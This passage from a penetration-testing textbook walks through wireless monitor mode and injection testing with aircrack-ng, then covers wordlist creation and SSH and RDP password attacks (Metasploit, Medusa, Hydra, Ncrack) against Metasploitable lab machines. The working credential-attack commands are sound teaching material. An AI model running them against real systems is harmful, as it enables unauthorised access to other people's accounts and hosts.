To get started with this exercise, please follow these instructions:

1. Firstly, attach the Alfa AWUS036NHA wireless adapter to your host system via an available USB 
port. I do not recommend connecting your wireless network adapter to a USB hub; instead, 
consider connecting the wireless adapter directly to a USB port on your motherboard or laptop 
to ensure the right drivers are loaded on the Kali Linux machine to identify the adapter.
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2. Next, open Oracle VM VirtualBox Manager, select the Kali Linux virtual machine, and click 
on Settings, as shown here:

Figure 8.27: The Settings option

3. In the Settings menu, select the USB category and ensure the USB Controller mode is set to 
either USB 2.0 or USB 3.0 based on the type of physical USB ports on your host computer. Then, 
click on the USB+ icon to select the wireless network adapter, as shown here:

Figure 8.28: USB settings
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4. Next, the USB device menu will appear, showing all connected USB devices on the host com-
puter, including the connected Alfa AWUS036NHA wireless adapter. Simply select the Alfa 
AWUS036NHA wireless adapter to insert it within the list of USB devices, as shown here:

 

Figure 8.29: USB devices

As shown in the preceding screenshot, the wireless network adapter is labeled ATHEROS 
UB91C. The device identification may vary on the chipset on the wireless adapter and the 
operating system.

The following screenshot shows that the wireless adapter is available within the USB Device 
Filters list and it is selected:

Figure 8.30: Attached USB wireless adapter
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5. Next, on the Settings window, click on OK to save the configurations.
6. Next, power on the Kali Linux virtual machine and log in to the desktop.
7. Next, the wireless network adapter may not logically be connected to Kali Linux; therefore, 

right-click on the USB icon found on the Kali Linux virtual machine status bar at the bottom 
right, as shown here:

Figure 8.31: USB icon

After you’ve right-clicked on the USB icon, a list of available USB devices will appear. Simply 
click on the wireless network adapter to attach it to the virtual machine.

8. On Kali Linux, open the Terminal and use the ifconfig command to verify that the wireless 
network adapter is attached, as shown here:

Figure 8.32: Checking network interfaces

As shown in the preceding screenshot, Kali Linux was able to detect the physical wireless 
network adapter and labeled the interface as wlan0 without requiring any additional software 
drivers. Within Linux-based operating systems, physical Ethernet adapters are labeled as eth 
interfaces, while wireless adapters are labeled as wlan interfaces. The number after an inter-
face’s name represents the interface identifier (ID) and the first interface usually begins with 
0, such as eth0 and wlan0.

9. Next, use the iwconfig command to view specific details of the wireless adapter, as shown here:

Figure 8.33: Checking wireless adapters
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10. As shown in the preceding screenshot, the iwconfig command enables us to view the current 
operating system mode of the wireless network adapter. Here, you can view the operating sys-
tem mode and the transmitting power level (Tx-Power) and determine whether the wireless 
adapter is associated (connected) to a nearby access point or wireless router.

Having completed this exercise, you have learned how to successfully attach a wireless network adapter 
to Kali Linux. Furthermore, you have learned how the Alfa AWUS036NHA wireless network adapter 
functions seamlessly as a plug-and-play device. Next, you will learn how to connect a wireless network 
adapter that has an RTL8812AU chipset such as the Alfa AWUS036ACH wireless adapter.

Connecting a wireless adapter with an RTL8812AU chipset
Various wireless network adapters have the RTL8812AU chipset and are not natively recognized/iden-
tified by Kali Linux when it’s connected. In this section, you will learn how to successfully set up and 
connect a wireless network adapter such as the Alfa AWUS036ACH wireless network adapter, which 
has an RTL8812AU chipset.

To get started with this exercise, please use the following instructions:

1. Firstly, connect the Alfa AWUS036ACH wireless network adapter to your host system.
2. Open Oracle VirtualBox Manager, select the Kali Linux virtual machine, and click on Settings.
3. Once the Settings menu appears, click on the USB category and ensure that the USB Controller 

mode is either set to USB 2.0 or 3.0, which is based on the type of physical USB ports that are 
supported on your host computer. Then, click on the USB+ icon to open a pop-up menu that 
displays all USB-connected devices, as shown here:

Figure 8.34: Adding a USB device
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4. Next, on the USB devices pop-up menu, select the wireless network adapter that is labeled 
Realtek 802.11n NIC, as shown here:

Figure 8.35: Selecting a wireless adapter

The following screenshot shows that the wireless adapter is available within the USB Device 
Filters list and it is selected: 

 

Figure 8.36: Attached USB wireless adapter

The device identification may vary on the chipset on the wireless adapter and the 
operating system.
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5. Now, on the Settings window, click on OK to save the configurations.
6. Next, power on the Kali Linux virtual machine and log in to the desktop.
7. The wireless network adapter may not logically be connected to Kali Linux; therefore, right-

click on the USB icon found on the Kali Linux virtual machine status bar at the bottom right 
and select the newly connected wireless network adapter, as shown here:

 

Figure 8.37: Verifying adapter is connected

As shown in the preceding screenshot, the Alfa AWUS036ACH is identified as a Realtek 802.11n 
NIC device.

8. Next, open the Terminal within Kali Linux and use the lsusb command to verify the chipset 
of the attached wireless adapter, as shown here:

Figure 8.38: Checking adapter status
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As shown in the preceding screenshot, the Alfa AWUS036ACH wireless adapter has an RT-
L8812AU chipset. However, when using the iwconfig command, Kali Linux is unable to detect 
the wireless adapter, as shown here:

Figure 8.39: Checking wireless adapters

9. Next, use the following command to update the package’s source lists file on Kali Linux:

kali@kali:~$ sudo apt update

10. Then, install the Realtek drivers for the RTL88XXAU chipset onto Kali Linux with Dynamic 
Kernel Module Support (DKMS) using the following commands:

kali@kali:~$ sudo apt install realtek-rtl88xxau-dkms

11. Next, use the following commands to download, compile, and install the latest RTL8812AU 
drivers from the aircrack-ng GitHub repository:

kali@kali:~$ git clone https://github.com/aircrack-ng/rtl8812au
kali@kali:~$ cd rtl8812au
kali@kali:~/rtl8812au$ sudo make
kali@kali:~/rtl8812au$ sudo make install

12. Now, reboot Kali Linux to ensure that the newly installed drivers are effective.
13. After rebooting Kali Linux, open the Terminal and use the iwconfig command to verify that the 

Alfa AWUS036ACH wireless network adapter is being recognized on Kali Linux, as shown here:
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Figure 8.40: Verifying the wireless adapter’s status

As shown in the preceding screenshot, the wireless network adapter is now connected to Kali 
Linux, which enables us to perform various types of wireless-based attacks on the 2.4 GHz 
and 5 GHz wireless frequencies. Wireless penetration testing will be covered later in this book.

Having completed this section, you have learned how to connect a natively supported wireless net-
work adapter to Kali Linux via Oracle VirtualBox. In addition, you have also learned how to install the 
necessary drivers that support wireless network adapters with the RTL8812AU chipset. In the next 
section, you will learn about the various operating modes of wireless network adapters and how they 
can be leveraged for wireless penetration testing.

Managing and Monitoring wireless modes
As an ethical hacker and penetration tester, it is important to have a clear understanding of the various 
operating modes of a wireless network adapter. Let’s take a look at each operating mode for wireless 
network adapters:

• Managed: This is the default operating mode for all wireless network adapters. This mode en-
ables a host device such as a computer to connect to a nearby access point or wireless router. 
However, this mode does not enable ethical hackers and penetration testers to perform any 
type of wireless penetration testing techniques on a targeted wireless network.
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• Monitor: This operating mode enables ethical hackers and penetration testers to scan for 
Institute of Electrical and Electronics Engineers (IEEE) 802.11 wireless networks within the 
vicinity, capture wireless frames such as beacons from access points and probes from wireless 
clients, and perform packet injection attacks on a targeted wireless network without estab-
lishing a connection to the target.

• Master: This mode enables Linux-based operating systems to function as an access point or 
wireless router.

• Ad hoc: This mode enables the host system to directly connect to another host without the 
need for an intermediary device such as an access point or wireless router.

• Repeater: This mode allows a host device to simply capture a wireless signal and reproduce 
it to other clients to extend the range of a wireless network. Keep in mind that repeaters are 
typically used to extend wireless signal coverage over distance.

• Secondary: This mode enables a host to operate as a backup device for a master or repeater 
system.

Now that you understand the various operating modes of wireless network adapters, let’s dive into 
configuring Monitoring mode and determine whether a wireless network adapter supports packet 
injection.

Configuring Monitoring mode
In this section, you will learn how to configure a wireless network adapter to operate in monitor mode 
using native tools within Kali Linux. For this exercise, we’ll be using the Alfa AWUS036NHA wireless 
network adapter.

To get started with this exercise, please follow these instructions:

1. Ensure that the Alfa AWUS036NHA wireless network adapter is connected to your host machine 
and that it’s attached to the Kali Linux virtual machine via Oracle VM VirtualBox Manager.

2. Power on the Kali Linux virtual machine, open the Terminal, and use the iwconfig command 
to verify whether the wireless network adapter is being detected by Kali Linux, as shown here:

To perform packet injection, the wireless network interface has to be in monitor mode.
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Figure 8.41: Viewing wireless adapters

As shown in the preceding screenshot, the wireless network adapter is identified as wlan0 and 
is operating in Managed mode.

3. Next, logically turn down the wlan0 interface with the following command:

kali@kali:~$ sudo ifconfig wlan0 down

4. Next, change the operating mode of wlan0 to Monitor with the following commands:

kali@kali:~$ sudo iwconfig wlan0 mode monitor

The preceding command will automatically re-enable the wlan0 interface. 

After executing the preceding command, use the ifconfig command to verify 
whether wlan0 is no longer shown in the output. If the wlan0 interface is still 
present, execute the sudo ifconfig wlan0 down command again.



Understanding Network Penetration Testing320

5. Next, use the iwconfig command to verify that the wlan0 interface is configured in Monitor 
mode, as shown here:

Figure 8.42: Monitor mode

6. To test whether the attached wireless network adapter supports packet injection, use the 
following command:

kali@kali:~$ sudo aireplay-ng -9 wlan0

aireplay-ng is a component of the aircrack-ng suite of wireless security tools for wireless 
penetration testing. Using the -9 syntax enables the interface/adapter to test for packet injec-
tion while it operates in Monitor mode, as shown here:

 

Figure 8.43: Checking injection capabilities

7. Lastly, to revert the interface to Managed mode, use the following commands:

kali@kali:~$ sudo ifconfig wlan0 down
kali@kali:~$ sudo iwconfig wlan0 mode managed
kali@kali:~$ sudo ifconfig wlan0 up

The following screenshot verifies that the wireless network adapter has been successfully 
reverted to Managed mode:
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Figure 8.44: Managed mode

Having completed this exercise, you have learned how to enable monitor mode on a wireless network 
adapter using native tools within Kali Linux and test whether packet injection is supported. Next, you 
will learn how to automate this process by using aircrack-ng on Kali Linux.

Using aircrack-ng to enable monitor mode
In this section, you will learn how to use aircrack-ng, a suite of wireless security tools that’s commonly 
used by ethical hackers and penetration testers to enable monitor mode on wireless network adapters. 
For this exercise, we will be using the Alfa AWUS036NHA wireless network adapter.

To get started with this exercise, please use the following instructions:

1. Ensure that the Alfa AWUS036NHA wireless network adapter is connected to your host comput-
er and that it’s attached to the Kali Linux virtual machine on Oracle VM VirtualBox Manager.

2. Power on the Kali Linux virtual machine and log in.
3. Next, open the Terminal within Kali Linux and use the iwconfig command to verify whether 

the Alfa AWUS036NHA wireless network adapter is detected, as shown here:

Figure 8.45: Checking adapter status
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4. Next, use the following commands to identify and terminate any background processes that 
may prevent the wireless network adapter from operating in Monitor mode:

kali@kali:~$ sudo airmon-ng check kill

The following screenshot shows that airmon-ng found potentially conflicting processes and 
terminated them:

Figure 8.46: Terminating conflicting processes

5. Next, enable Monitor mode on the wlan0 interface by using the following commands:

kali@kali:~$ sudo airmon-ng start wlan0

The following screenshot shows that a new logical interface called wlan0mon was created as 
the monitor interface:

Figure 8.47: Enabling monitor mode

6. Use the iwconfig command to verify the operation status of the newly created monitor inter-
face, as shown here:
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Figure 8.48: Viewing the new adapter status

7. Next, use aircrack-ng to test whether packet injection is supported on wlan0mon; use the 
following command:

kali@kali:~$ sudo aireplay-ng -9 wlan0mon

The following screenshot shows that aireplay-ng was able to verify that packet injection is 
supported on the interface:

Figure 8.49: Checking injection capabilities

8. Lastly, to revert the wireless interface from monitor to managed mode, use the following 
command:

kali@kali:~$ sudo airmon-ng stop wlan0mon
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The following screenshot shows that airmon-ng disabled monitor mode on the interface:

Figure 8.50: Disabling monitor mode

9. Lastly, use the iwconfig command to verify that the wireless interface is operating in managed 
mode, as shown here:

Figure 8.51: Checking adapter status

Having completed this section, you have learned how to configure wireless network adapters to oper-
ate in monitor mode using both native and automated tools within Kali Linux. In addition, you have 
learned how to test whether a wireless network adapter supports packet injection.

Summary
Having completed this chapter, you have learned about the importance of network penetration test-
ing and how it helps organizations improve their cyber defenses and strategies to prevent future 
cyberattacks and threats. In addition, you have discovered how to set up and work with both bind and 
reverse shells between different systems over a network. Furthermore, you have exploited how to set 
up wireless network adapters for performing wireless penetration testing in later chapters.

To learn more about aircrack-ng, please visit https://www.aircrack-ng.org/
documentation.html.

https://www.aircrack-ng.org/documentation.html
https://www.aircrack-ng.org/documentation.html
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I trust that the knowledge presented in this chapter has provided you with valuable insights, supporting 
your path toward becoming an ethical hacker and penetration tester in the dynamic field of cyber-
security. May this newfound understanding empower you in your journey, allowing you to navigate 
the industry with confidence and make a significant impact. In the next chapter, Performing Network 
Penetration Testing, you will learn how to perform network penetration testing to identify security 
vulnerabilities on targeted systems and networks.

Further reading
• To learn about aircrack-ng, go to https://www.aircrack-ng.org/doku.php?id=Main.

Join our community on Discord
Join our community’s Discord space for discussions with the author and other readers:

https://packt.link/SecNet

https://www.aircrack-ng.org/doku.php?id=Main
https://packt.link/SecNet
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Performing Network Penetration 
Testing
As an aspiring ethical hacker and penetration tester, being thrown into the field of cybersecurity to 
perform your first penetration test on an organization’s network can be very overwhelming! I remember 
the first time as a security professional when I was given the responsibility of performing an internal 
network penetration test on an organization to identify security vulnerabilities and provide recom-
mendations on how to mitigate threats and resolve security weaknesses in systems. It was definitely 
a unique experience in that I knew what to do based on my knowledge, training, and skills. However, 
there was a feeling of uncertainty about how to get started. Nevertheless, I followed the rules and 
procedures that had been set within my cybersecurity training and education and developed addi-
tional strategies and tactics to achieve the goal of penetration testing, while staying within the legal 
boundaries and the scope of testing that were mutually agreed upon with the organization. Always 
remember to obtain legal permission prior to performing any type of security testing on systems that 
you do not own.

Along the way, I’ve learned the importance of developing soft skills, such as those that are not taught 
in classrooms or books; these are communication, problem-solving, and critical-thinking skills. For 
instance, if you’re unable to verbally communicate the findings of a penetration testing report to 
the leadership team of an organization, they won’t see the importance of investing in cybersecurity 
services and tools. In addition, if you’re unable to write a penetration testing report in a way that’s 
understood by non-technical persons, such as those who are in the leadership of the organization, 
it may not influence them into investing in future cybersecurity services. Furthermore, presenting 
findings and recommendations in a clear and understandable manner is crucial for effectively working 
with organizations to improve their security posture.

Having problem-solving skills is a necessity for ethical hackers and penetration testers, as it helps with 
adapting to developing new techniques for identifying potential security vulnerabilities and creating 
new attack strategies for simulating real-world cyber-attacks. Critical thinking helps penetration testers 
analyze complex systems and their components, evaluate the data collected during reconnaissance 
and vulnerability assessments, and determine the potential impact if a security vulnerability were to 
be compromised by a real threat actor.
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This chapter helps you gain a clear understanding and develop the skills to discover and exploit se-
curity vulnerabilities in services and operating systems within a targeted network. Furthermore, the 
concepts and techniques found within this chapter are aligned with the Weaponization, Delivery, and 
Exploitation phases of the Cyber Kill Chain.

During this chapter, you will discover how ethical hackers and penetration testers use various tech-
niques and procedures to perform password-based attacks to gain unauthorized access into a targeted 
system, such as retrieving plaintext passwords from hashes and compromising remote access protocols. 
In addition, you will learn how to profile targets on a network and identify and exploit vulnerable 
services and operating systems to gain a foothold on a target.

In this chapter, we will cover the following topics:

• Exploring password-based attacks
• Performing host discovery
• Identifying and exploiting vulnerable services

Let’s dive in!

Technical requirements
To follow along with the exercises in this chapter, please ensure that you have met the following 
hardware and software requirements:

• Kali Linux – https://www.kali.org/get-kali/
• Metasploitable 2 – https://sourceforge.net/projects/metasploitable/files/

Metasploitable2/

• Metasploitable 3 – https://app.vagrantup.com/rapid7/boxes/metasploitable3-win2k8

Exploring password-based attacks
Threat actors and cyber-criminals commonly use various password-based attacks such as brute force, 
dictionary-based, phishing, and credential stuffing to exploit security vulnerabilities that are related to 
users’ passwords that are configured on their online accounts, systems, and files. These vulnerabilities 
often stem from common human behaviors such as using simple, predictable passwords or reusing 
passwords across multiple accounts. Additionally, vulnerabilities can arise from system-level issues 
such as inadequate password policies or lack of account lockout mechanisms. Ethical hackers and 
penetration testers use password-based attacks to determine whether an organization has configured 
weak or unsecure passwords on its systems with the goal of helping the organization improve its 
security posture and resilience against cyber-attacks.

Overall, as a penetration tester, the objectives of performing password-based attacks include:

• Gaining unauthorized access to remote hosts on a network by performing attacks against its 
authentication system

• Retrieving the password associated with cryptographic hashes
• Retrieving the password to access a password-protected sensitive file

https://www.kali.org/get-kali/
https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
https://app.vagrantup.com/rapid7/boxes/metasploitable3-win2k8
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For instance, imagine if the IT professionals within a large organization were to store the passwords 
for their critical systems on a password-protected Microsoft Excel workbook stored on a centralized 
server within the company’s network. If a cyber-criminal were to compromise the organization and 
exfiltrate the password-protected file, the hacker would be able to perform offline password-based 
attacks to retrieve the valid password for opening the file. Furthermore, imagine the impact when 
the hacker retrieves all the passwords within the file and accesses the critical systems of the targeted 
organization. While this scenario may sound unbelievable, there are many organizations around the 
world that store their passwords in text files and other types of documents on their servers.

The following are various types of password-based attacks:

• Brute-force attack: In a brute-force attack, every possible combination is tried against the 
system. This is a very time-consuming process as every possible password combination is 
tested against the authentication system of the target until the valid password is retrieved. 
While this method may seem to be the best method, the time constraints given for completing 
a penetration test are often not achievable.

• Dictionary attack: In a dictionary attack, the threat actor uses a pre-populated wordlist that 
contains thousands or even millions of candidate passwords. These are tested against the au-
thentication system of the target. Each word from the wordlist is tested; however, the attack 
will not be successful if a valid password is not found within the wordlist being used by the 
threat actor.

• Password guessing: This is a common technique that’s used by many people, even threat 
actors and penetration testers, who are attempting to gain unauthorized access to a system. I 
have often seen IT professionals use simple and even default passwords on their networking 
devices, security appliances, and even the client and server systems within their organization. 
For instance, by performing a Google dork using common default passwords, you will easily find 
default passwords for various systems. These default passwords are set by the manufacturer 
of the device.

• Password cracking: In this technique, the threat actor uses various tools and techniques to 
retrieve valid user credentials to gain unauthorized access to a system. Sometimes, a threat 
actor may capture a user’s password in transit across a network in plaintext by an unsecure 
network protocol, or even retrieve the cryptographic hash of a password.

• Password spraying: This is the technique where a threat actor uses a single password and tests 
it against an authentication system with different usernames. The password is a guessable 
password, obtained from data breaches or a wordlist. The idea is to test which user account 
within a specific list uses the same password. This technique is good when testing which users 

Password managers enable users to generate and store complex passwords. It’s important 
to never reuse passwords on multiple systems. Always generate unique passwords that are 
at least 12 characters in length and have at least one uppercase letter, number, and special 
symbol to increase the complexity of the password. Furthermore, enable Multi-Factor 
Authentication (MFA) to reduce the risk of a threat actor gaining unauthorized access to 
your password manager and the passwords stored within it.
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• Credential stuffing: This technique allows a threat actor to use a common wordlist of usernames 
and passwords against the authentication system of a target host. This technique checks which 
combination of usernames and passwords leads to valid user credentials.

• Online password attack: In an online password attack, the threat actor attempts to gain un-
authorized access to a host that is running a network service or a remote access service. This 
allows authorized users to log in to the system across a network. A simple example of an online 
password attack is a threat actor attempting to retrieve the username and password of a valid 
user to gain access to a server that is running the Remote Desktop Protocol (RDP). Keep in 
mind that online password attacks focus on using a combination of passwords from a wordlist 
directly on a web login page or network service interface until the correct one is found.

• Offline password attack: In an offline password attack, the threat actor uses various tools and 
techniques to retrieve the valid password of a password-protected file, such as a document, 
or even the cryptographic hash of a user’s password. A simple example of this is capturing a 
domain administrator’s username and password hash from network packets. The username 
is usually in plaintext but you may need/want to retrieve the password from the hash value.

Over the next few subsections, you will learn about and gain the hands-on skills to create your own 
custom wordlists and use common password-cracking techniques to gain unauthorized access to 
remote systems. 

Creating a keyword-based wordlist
Sometimes, web developers and IT professionals set passwords within their organizations and online 
web applications that are somewhat related to the organization’s goals, mission, products, and services. 
Custom Wordlist Generator (CeWL) is a password generator tool that enables penetration testers to 
perform web crawling (spidering) of a website and gather keywords to create a custom wordlist to 
perform dictionary-based password attacks against a system or file.

To create a custom wordlist with keywords from a targeted website, please use the following command:

kali@kali:~$ cewl example.com -m 6 -w output_wordlist.txt

This command will generate a custom wordlist containing words with a minimum length of 6 char-
acters using keywords from the website example.com. It will then output the results in the wordlist.
txt file within your current working directory, as shown below:

SecLists is a collection of pre-built wordlists containing passwords and usernames that 
are commonly used by penetration testers to perform both online and offline dictionary 
attacks. Furthermore, SecLists contains URLs, sensitive data patterns, and fuzzing payloads, 
which are valuable to penetration testers.

You can find the SecLists collections at https://github.com/danielmiessler/SecLists. 
Additionally, you can use the wordlists command within Kali Linux to view the local 
wordlist repository that is already pre-loaded within the operating system.

https://github.com/danielmiessler/SecLists
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Figure 9.1: Working with CeWL

As shown in the preceding screenshot, CeWL generated custom entries within the output file. Keep in 
mind that CeWL simply leverages keywords found on a website; it does not guarantee the creation of 
the actual password for gaining access to a system owned by the target.

Having completed this exercise, you have learned how to leverage CeWL to generate a custom wordlist 
using keywords from a targeted website. Next, you will learn how to use Crunch to create wordlists.

Generating a custom wordlist using Crunch
Crunch is an offline password generator that enables penetration testers to create custom wordlists to 
perform dictionary-based password attacks. This tool is very powerful as it allows you to automatically 
generate all possible character combinations based on the criteria or rules you set. It then outputs 
the results into a single dictionary file for later use.

Crunch uses the following syntax to generate a wordlist:

kali@kali:~$ crunch <min-length> <max-length> [options] –o output_file.txt

When creating a wordlist using Crunch, you’ll need to specify both the minimum and maximum length 
of the passwords that are to be generated, the parameters for creating the passwords, and the output file.

To create a custom wordlist with a fixed length of 4 characters, which can be a combination of char-
acters from 0 to 9 and A to C, use the following command:

kali@kali:~$ crunch 4 4 0123456789ABC -o output_file.txt

To learn more about CeWL and its usage, please see https://www.kali.org/tools/cewl/.

https://www.kali.org/tools/cewl/
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As shown in the following screenshot, Crunch generated all possible combinations that met our criteria:

Figure 9.2: Working with Crunch

As shown in the preceding screenshot, Crunch created 28,561 possible combinations of passwords.

With that, you have learned how to use another password generator to create custom wordlists. Next, 
you will learn how to perform an online password attack to gain remote access to a targeted system 
over a network.

Gaining access by exploiting SSH
IT professionals commonly set up remote access services on their networking devices, security appli-
ances, and systems on their network for the convenience of remote management. Secure Shell (SSH) 
is a secure, remote access protocol that operates in a client-server model and provides data encryption 
to ensure any data exchanged between the client and SSH server is encrypted.

As a penetration tester, you can perform a port scan on a targeted system to determine whether it’s 
running an SSH service on port 22 (default port) and perform an online password-based attack to 
obtain valid user credentials for accessing the remote device over an SSH session. 

To learn more about how to generate customized wordlists, use the man crunch command 
to view additional syntax and examples.
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While some organizations use the default port 22 for SSH, others use a non-standard port for SSH. 
This is a common practice within the industry to reduce the risk of a threat actor discovering the SSH 
service on a targeted system by using automated scanning tools.

To get started with this exercise, please use the following instructions:

1. Firstly, power on the Kali Linux and Metasploitable 3 (Windows-based) virtual machines.
2. On Kali Linux, open Terminal and use the following commands to identify the IP address of 

Metasploitable 3 (Windows-based):

kali@kali:~$ nmap -sn 172.30.1.0/24 --exclude 172.30.1.50 

As shown in the following screenshot, we’ve identified the targeted system as 172.30.1.21:

Figure 9.3: Ping scan using Nmap

3. Next, use the following command to identify whether port 22 is open on the target:

kali@kali:~$ nmap -sV -p 22 172.30.1.21

As shown in the following screenshot, Nmap has identified that port 22 is open on the target 
and it’s running an SSH service:

Figure 9.4: Service version scan

4. Next, start the Metasploit framework on Kali Linux:

kali@kali:~$ msfconsole 

5. Once the Metasploit interface loads, use the following command to invoke an SSH enumeration 
module to help us identify valid usernames:

msf6 > use auxiliary/scanner/ssh/ssh_enumusers

6. Next, set the IP address of the targeted system:

msf6 auxiliary(scanner/ssh/ssh_enumusers) > set RHOSTS 172.30.1.21
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7. Then, set a wordlist that contains a set of possible usernames and execute the module:

msf6 auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /usr/share/
wordlists/metasploit/default_users_for_services_unhash.txt
msf6 auxiliary(scanner/ssh/ssh_enumusers) > run

As shown in the following screenshot, the SSH enumeration module was able to identify valid 
usernames that are accepted on the targeted system:

Figure 9.5: Identifying SSH credentials

8. Next, create a text file with a list of all the valid usernames that were found and save it on the 
desktop as valid_users.txt. We will use this wordlist to perform a password-spraying attack, 
in which a common password is used with different usernames.

9. Next, use the following commands to check which username from the valid_users.txt word-
list uses a common password on the targeted system:

msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 172.30.1.21
msf6 auxiliary(scanner/ssh/ssh_login) > set USER_FILE /home/kali/Desktop/
valid_users.txt
msf6 auxiliary(scanner/ssh/ssh_login) > set PASSWORD vagrant
msf6 auxiliary(scanner/ssh/ssh_login) > run

As shown in the following screenshot, this Metasploit module was able to identify valid user-
name and password combinations to log in to the targeted system using SSH:

Type the back command to exit a module within Metasploit. Type exit to quit 
Metasploit.
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Figure 9.6: Checking user credentials

10. Next, use the sessions command within Metasploit to view a list of all active sessions, as 
shown below:

Figure 9.7: Viewing active sessions

11. Next, use the sessions -i <session-ID> command to interact with a specific session, as 
shown below:

Figure 9.8: Interacting with a session
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As shown in the preceding screenshot, a bind shell was obtained, which enabled us to execute 
Windows-based commands remotely on the targeted system.

12. Next, let’s use Medusa to perform online password cracking to identify valid user credentials 
by attempting to gain unauthorized access via the SSH service on the target:

kali@kali:~$ medusa -h 172.30.1.21 -U /home/kali/Desktop/valid_users.txt 
-P /usr/share/wordlists/rockyou.txt -M ssh 

13. When Medusa finds valid user credentials, it will provide the following output:

ACCOUNT FOUND: [ssh] Host: 172.30.1.21 User: Administrator Password: 
vagrant [SUCCESS]

Having completed this section, you have learned how to discover and exploit an SSH service on a target 
system within a network. Next, you will learn how to exploit Windows remote access services on a target.

Exploiting Remote Desktop Protocol
In this section, you will learn how to perform online password-based attacks to gain unauthorized 
access to a targeted system that’s running a remote access service such as Remote Desktop Protocol 
(RDP). Within many organizations, IT professionals commonly set up and enable various remote access 
services on their clients, servers, networking devices, and security appliances.

However, you will commonly find RDP enabled within a Windows-based environment. Unlike SSH, 
RDP provides IT professionals with a remote desktop graphical user interface for easy administra-
tion and management of the remote device rather than using a command-line interface. While RDP 
provides a huge convenience for many IT professionals within the industry, it’s very risky if there’s a 
threat actor or penetration tester on the network.

Imagine if a threat actor or penetration tester could retrieve valid user credentials to access the root 
Domain Controller (DC) of an organization. Here, the threat actor could potentially take over and 
control the Windows domain environment, such as its policies, users, groups, and device accounts. 
Additionally, a threat actor can attempt to gain unauthorized access to client systems that use shared 
user credentials that are connected to the company’s domain through RDP and further set up persistent 
access to each compromised device to expand their foothold on the network.

In this exercise, you will learn how to use Hydra, a multi-threaded, online password-cracking tool, 
and Ncrack to gain unauthorized access to a remote system that’s running a remote access protocol 
such as RDP.

To learn more about the features and capabilities of Medusa, use the man medusa com-
mand to view the manual pages of the tool.
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To get started with this exercise, please use the following instructions:

1. Firstly, power on the Kali Linux and Metasploitable 3 (Windows-based) virtual machines.
2. On Kali Linux, open Terminal and use the following commands to determine the IP address 

of our target:

kali@kali:~$ nmap -sn 172.30.1.0/24 --exclude 172.30.1.50

As shown in the following screenshot, our target has the 172.30.1.21 address:

Figure 9.9: Ping scan with Nmap

3. Next, use the following Nmap commands to identify whether the target is running the RDP 
service:

kali@kali:~$ nmap -p 3389 172.30.1.21

As shown in the following screenshot, port 3389 is open on the targeted system. In addition, 
port 3389 is the default port on Microsoft Windows for running RDP:

Figure 9.10: Port scanning

4. Next, use Ncrack to perform an online password-based attack on the RDP service on the tar-
geted system with the intention of identifying valid user credentials for accessing the service 
on the target:

kali@kali:~$ ncrack -v -T 3 -u Administrator -P /usr/share/wordlists/
rockyou.txt rdp://172.30.1.21

Before performing a network scan, always identify the IP address of your attacker 
machine (Kali Linux) and exclude it from the scan results by using the --exclude 
<IP-address> syntax.
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The following is a breakdown for each syntax that’s used in the preceding command:

• -v: Enables verbosity
• -T: Specifies the timing of the attack from 0 (slow) to 5 (fastest)
• -u: Specifies a single username
• -P: Specifies a wordlist for dictionary-based attacks

Performing password cracking can be very time-consuming. Ncrack will check connectivity 
with the targeted system and will then try each password if a wordlist is used with the specified 
username. Once the valid username and password combination is found, Ncrack will display 
the results as shown below:

Figure 9.11: Password cracking

5. Hydra is another online password-cracking tool that helps us identify valid username and 
password combinations on targeted systems with RDP enabled. Use the following commands 
to perform RDP password cracking with Hydra:

kali@kali:~$ hydra -t 4 -l Administrator -P /usr/share/wordlists/rockyou.
txt rdp://172.30.1.21

The following screenshot shows the results of Hydra and the valid user credentials:

Figure 9.12: Found user credentials

To learn more about Hydra, please visit https://www.kali.org/tools/hydra/.

https://www.kali.org/tools/hydra/
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6. Now that valid user credentials have been found, let’s try to obtain a remote desktop session 
with the target by using the following command:

kali@kali:~$ rdesktop -u Administrator -p vagrant 172.30.1.21 -g 
1280x1024

The -g syntax allows you to specify the resolution of the window when the session is established. 
Be sure to modify the resolution settings such that the window fits your computer screen. You 
will be prompted to trust the certificate from the remote target; simply type yes and hit Enter 
to establish the RDP session, as shown below:

Figure 9.13: Establishing the RDP session
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The following screenshot shows the RDP session from Kali Linux to the targeted system:

Figure 9.14: Remote desktop session

As shown in the preceding screenshot, using the rdesktop tool enables you to establish an 
RDP session from Kali Linux to a Windows operating system. We will be using the valid user 
credentials that were found in this exercise in a later section of this chapter and the next.

Having completed this section, you have gained the hands-on skills needed to create custom wordlists 
and perform various types of password attacks to gain unauthorized access to a targeted system. In 
the next section, you will learn how to perform host discovery and move on to the exploitation phase 
of the Cyber Kill Chain.

Performing host discovery
When performing an internal penetration test for an organization, the company will allow you to 
connect your attacker machine to its network and may assign you a static IP address for your Kali 
Linux machine. On a network penetration testing engagement, the objective is to simulate real-world 
cyber-attacks on target systems that are within the rules of engagement, before starting the actual 
penetration test. The rules of engagement are simply the guidelines and constraints that are associ-
ated with performing the penetration test on an organization’s systems and network. They contain 
details such as the authorization given to the penetration tester for performing defined activities on 
the targeted systems and networks.
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Ensure you do not perform any type of security testing on systems that are not within the scope, as 
you will face legal issues with the organization. However, once you’re within the scope, you’ll need 
to discover the targeted systems, profile your targets, discover security vulnerabilities, exploit those 
security weaknesses, and gain access while looking for other methods a real hacker can use to com-
promise the systems and network.

In this section, you will learn about the fundamentals of discovering live systems on a network, just 
as you would within a real-world scenario. To get started with performing host discovery on a targeted 
network, please use the following instructions:

1. Power on the Kali Linux, Metasploitable 2, and Metasploitable 3 (Windows-based) virtual 
machines.

2. On Kali Linux, open Terminal and use either the ip address or ifconfig commands to iden-
tify the IP address on the local Ethernet adapter and determine whether it’s connected to the 
targeted network (172.30.1.0/24), as shown below:

Figure 9.15: Checking the host address

As shown in the preceding screenshot, the eth1 network adapter is connected to our targeted 
network. It’s important to verify that your attacker machine (such as Kali Linux) is connected 
and received an IP address on the targeted network before simulating any attacks.

3. Next, use Netdiscover to perform passive scanning to identify live hosts on the network:

kali@kali:~$ sudo netdiscover -p -i eth1

As shown in the following screenshot, Netdiscover was able to capture Address Resolution 
Protocol (ARP) messages between hosts on the 172.30.1.0/24 network, as well as retrieve 
their IP addresses and Media Access Control (MAC) addresses:

Figure 9.16: Passive scanning



Performing Network Penetration Testing342

Using a tool such as Netdiscover in passive mode does not send probes into the network as 
